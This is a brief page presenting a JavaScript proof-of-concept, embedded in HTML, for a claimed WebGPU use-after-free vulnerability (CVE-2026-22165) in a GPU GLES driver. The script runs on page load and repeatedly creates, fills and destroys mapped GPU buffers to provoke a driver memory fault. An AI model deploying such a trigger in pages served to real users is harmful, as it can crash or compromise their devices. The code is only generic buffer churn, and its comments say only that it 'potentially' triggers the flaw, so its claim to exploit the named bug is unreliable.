CVE-2026-22165 GPU GLES WebGPU写UAF漏洞

<!-- PoC Concept for CVE-2026-22165 This script attempts to stress the GPU GLES shared library by creating and destroying WebGPU buffers rapidly. --> <script> async function triggerUAF() { if (!navigator.gpu) { console.log("WebGPU not supported on this browser."); return; } try { const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); // Loop to create memory pressure and potential UAF condition for (let i = 0; i < 10000; i++) { const buffer = device.createBuffer({ size: 1024, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_WRITE, mappedAtCreation: true }); // Simulate unusual content interaction new Uint8Array(buffer.getMappedRange()).fill(i); buffer.unmap(); // Rapid destruction to potentially trigger use-after-free in driver buffer.destroy(); } console.log("WebGPU execution completed."); } catch (error) { console.error("Error triggering vulnerability:", error); } } triggerUAF(); </script>